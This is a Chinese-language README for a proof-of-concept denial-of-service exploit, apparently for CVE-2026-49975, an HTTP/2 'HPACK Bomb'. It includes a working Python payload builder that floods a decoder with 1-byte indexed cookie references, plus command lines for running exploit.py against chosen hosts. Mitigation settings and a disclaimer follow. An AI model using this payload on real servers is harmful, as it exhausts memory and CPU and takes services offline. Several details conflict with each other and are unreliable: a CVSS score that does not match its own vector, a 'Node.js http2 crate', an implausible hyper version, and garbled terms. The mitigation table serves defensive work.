CVE-2026-49975 是 HTTP/2 服务器与代理实现中的一个严重拒绝服务(DoS)漏洞。该攻击被称为“HTTP/2 Bomb”或“HPACK Bomb”,利用 HTTP/2 协议中的两个设计层面行为,迫使目标陷入无限制的内存消耗(OOM)和 CPU 耗尽:
CVSS 3.1 基础评分:9.8(严重)
向量:AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
当两个阶段相互配合时,攻击效果最佳,但针对某些实现,单独任一阶段也足以奏效。
HTTP/2 的 HPACK 头部压缩使用一个不断演进的动态表。一旦一个较大的 cookie 头部被插入表中(通过 Literal+Incremental Encoding),攻击者即可用一个 1 字节的操作码引用该条目。重复引用会导致解码器一遍又一遍地重建同一个头部。
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
一个 5 KB 的数据包可以扩展为数百兆字节的解码后载荷。
带有 INITIAL_WINDOW_SIZE=0 的 SETTINGS 会迫使受害方将所有 HEADERS/continuation 数据排队。攻击者缓慢地滴出 WINDOW_UPDATE 帧。缓冲区在组合层面保持满载。
| 机制 | 放大系数 |
|---|---|
| 原始 HEADERS 主体 | 1x |
| HPACK 引用膨胀 | 20–80x |
| + 并发流 | 100–500x |
| + 窗口停滞 | 1000x+ |
| 厂商 / 项目 | 版本 | 描述 |
|---|---|---|
| Apache mod_http2 | < 2.0.13 | 索引引用膨胀导致 OOM |
| nghttp2 | < 1.62.0 | 无限制的内存膨胀 |
| h2o | < 4.0.2 | 解码器中的无限循环 |
| Node.js http2 crate | < 1.12.0 | nghttp2-rs 中的固有扩展 |
| Go net/http (h2) | < 1.24 | goroutine 挂起 + OSL 分配 |
| Apache Traffic Server | < 9.3.0 | 通过内部缓冲区导致 OOM |
| HAProxy h2 | < 2.9 | 超大 AVP 导致崩溃 |
| Envoy | < 1.30 | 流控中的大规模分配 |
| Rust hyper/h2 crate | < 5.14 | 溢出 SK 时 panic |
请查阅您厂商的 CVE 条目以获取确切边界。
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Docker 快速受害者环境:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
配套脚本为 exploit.py。
核心例程:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
脚本执行以下操作:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
监控受害主机资源:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
攻击正在生效的迹象:
| 方法 | 设置 |
|---|---|
| 限制每个流的头部数量 | MaxHeaderCount 500 |
| 拒绝低压缩比 | 比率阈值 < 5 |
| 限制 HPACK 增长 | 将动态表限制为 1 KB |
| 每连接内存 | 超过 N MB 后拒绝 |
| 速率限制 | 通用 conn/s、req/s |
此信息仅供教育和授权的安全测试使用。仅可对您拥有或已获得书面许可进行测试的系统运行。